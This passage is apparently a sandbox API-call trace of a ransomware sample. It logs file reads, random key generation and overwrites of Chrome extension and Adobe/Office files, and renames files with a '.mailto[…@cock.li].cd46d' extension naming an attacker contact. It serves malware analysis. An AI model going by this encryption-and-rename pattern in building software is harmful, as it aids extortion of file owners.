Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0177.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d33028) returned 1 [0177.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d26820) returned 1 [0177.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8c38) returned 1 [0177.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0177.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8290 [0177.545] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.545] WriteFile (in: hFile=0xf2c, lpBuffer=0x12cf53d8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x98afa30, lpOverlapped=0x0 | out: lpBuffer=0x12cf53d8*, lpNumberOfBytesWritten=0x98afa30*=0x10b, lpOverlapped=0x0) returned 1 [0178.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf53d8) returned 1 [0178.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82c0) returned 1 [0178.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0178.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8290) returned 1 [0178.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef10) returned 1 [0178.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457d0) returned 1 [0178.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455c8) returned 1 [0178.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458c0) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x904850 [0178.848] wcscpy (in: _Dest=0x904850, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" [0178.848] wcscat (in: _Dest=0x904850, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.848] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x98af9e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x9049d8 Thread: id = 6992 os_tid = 0x590 [0176.431] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json")) returned 0x2020 [0176.431] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json", dwFileAttributes=0x20) returned 1 [0176.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1718 [0176.431] GetFileSizeEx (in: hFile=0x1718, lpFileSize=0xaa7fa68 | out: lpFileSize=0xaa7fa68*=649) returned 1 [0176.431] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.431] ReadFile (in: hFile=0x1718, lpBuffer=0xaa7f9ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaa7f9e8, lpOverlapped=0x0 | out: lpBuffer=0xaa7f9ec*, lpNumberOfBytesRead=0xaa7f9e8*=0x4, lpOverlapped=0x0) returned 1 [0176.433] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c30 [0176.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a78 [0176.433] NtQuerySystemTime (in: CurrentTime=0xaa7f9c8 | out: CurrentTime=0xaa7f9c8*=132174899510218000) returned 0x0 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x7564d64b [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x4faf2731 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x4a1d0d55 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x29203f8c [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x55b07e01 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x2eafa983 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x1a27f273 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x36f66381 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0xfd174b2 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x4837174b [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x2930f3aa [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x47f9f945 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x78939bd0 [0176.433] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x11b2401e [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x2b2e04c7 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x14881168 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x4948ff54 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x462bff51 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x29ceeb0b [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x10be13de [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0xd57eb48 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x3a74d612 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x7edaab87 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x43ceaa [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x1a8eddca [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x3bd9e8a5 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x7276fac6 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x5dfd93f8 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x7201a0b8 [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x65b97f9e [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x77b80e6e [0176.434] RtlRandomEx (in: Seed=0xaa7f9d4 | out: Seed=0xaa7f9d4) returned 0x4ca2ed42 [0176.447] ReadFile (hFile=0x1718, lpBuffer=0x12d3f830, nNumberOfBytesToRead=0x289, lpNumberOfBytesRead=0xaa7f9c4, lpOverlapped=0x0) [0176.447] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.447] WriteFile (in: hFile=0x1718, lpBuffer=0x12d540e8*, nNumberOfBytesToWrite=0x289, lpNumberOfBytesWritten=0xaa7f9c0, lpOverlapped=0x0 | out: lpBuffer=0x12d540e8*, lpNumberOfBytesWritten=0xaa7f9c0*=0x289, lpOverlapped=0x0) returned 1 [0177.546] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0177.546] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef88 [0177.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef88) returned 1 [0177.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d540e8) returned 1 [0177.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d3f830) returned 1 [0177.548] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e18) returned 1 [0177.548] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 [0177.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d82f0 [0177.548] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.548] WriteFile (in: hFile=0x1718, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xaa7fa28, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0xaa7fa28*=0x10b, lpOverlapped=0x0) returned 1 [0178.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0178.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8320) returned 1 [0178.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef88) returned 1 [0178.850] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82f0) returned 1 [0178.850] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af4b0) returned 1 [0178.850] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c30) returned 1 [0178.850] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945550) returned 1 [0178.850] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b90) returned 1 [0178.850] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f69b0 [0178.850] wcscpy (in: _Dest=0x8f69b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" [0178.850] wcscat (in: _Dest=0x8f69b0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.850] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xaa7f9e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.850] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x8f6b38 Thread: id = 6993 os_tid = 0x58c [0176.453] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.fca")) returned 0x20 [0178.311] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca", dwFileAttributes=0x20) returned 0 [0178.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.fca"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.312] GetLastError () returned 0x5 [0178.312] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca", dwFileAttributes=0x20) returned 0 [0178.312] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4baf20) returned 1 Thread: id = 6994 os_tid = 0x65c [0176.454] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.hyp")) returned 0x20 [0178.315] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.hyp", dwFileAttributes=0x20) returned 0 [0178.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.hyp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.315] GetLastError () returned 0x5 [0178.316] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.hyp", dwFileAttributes=0x20) returned 0 [0178.316] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba1d8) returned 1 Thread: id = 6995 os_tid = 0xf80 [0176.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm104.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm104.hsp")) returned 0x20 [0178.318] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm104.hsp", dwFileAttributes=0x20) returned 0 [0178.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm104.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm104.hsp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.318] GetLastError () returned 0x5 [0178.318] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm104.hsp", dwFileAttributes=0x20) returned 0 [0178.318] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x939268) returned 1 Thread: id = 6996 os_tid = 0x7b4 [0176.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm32.clx")) returned 0x20 [0178.316] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm32.clx", dwFileAttributes=0x20) returned 0 [0178.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm32.clx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.317] GetLastError () returned 0x5 [0178.317] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm32.clx", dwFileAttributes=0x20) returned 0 [0178.317] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93a448) returned 1 Thread: id = 6997 os_tid = 0xeac [0176.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm92.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm92.ths")) returned 0x20 [0178.319] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm92.ths", dwFileAttributes=0x20) returned 0 [0178.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm92.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm92.ths"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.319] GetLastError () returned 0x5 [0178.319] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm92.ths", dwFileAttributes=0x20) returned 0 [0178.319] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x939818) returned 1 Thread: id = 7002 os_tid = 0xebc [0176.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif")) returned 0x20 [0176.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF", dwFileAttributes=0x20) returned 0 [0176.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.460] GetLastError () returned 0x5 [0176.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF", dwFileAttributes=0x20) returned 0 [0176.460] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb240) returned 1 Thread: id = 7003 os_tid = 0xec0 [0176.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif")) returned 0x20 [0177.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF", dwFileAttributes=0x20) returned 0 [0177.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0177.828] GetLastError () returned 0x5 [0177.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF", dwFileAttributes=0x20) returned 0 [0177.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba8e0) returned 1 Thread: id = 7053 os_tid = 0x98c [0176.672] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt")) returned 0x20 [0176.672] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt", dwFileAttributes=0x20) returned 0 [0176.672] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.672] GetLastError () returned 0x5 [0176.672] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt", dwFileAttributes=0x20) returned 0 [0176.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4860) returned 1 Thread: id = 7075 os_tid = 0x11a8 [0177.195] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12d9f948 [0177.195] wcscpy (in: _Dest=0x12d9f948, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" [0177.195] wcscat (in: _Dest=0x12d9f948, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\" [0177.195] wcscat (in: _Dest=0x12d9f948, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*" [0177.195] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d2e8 [0177.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x91d2e8 | out: 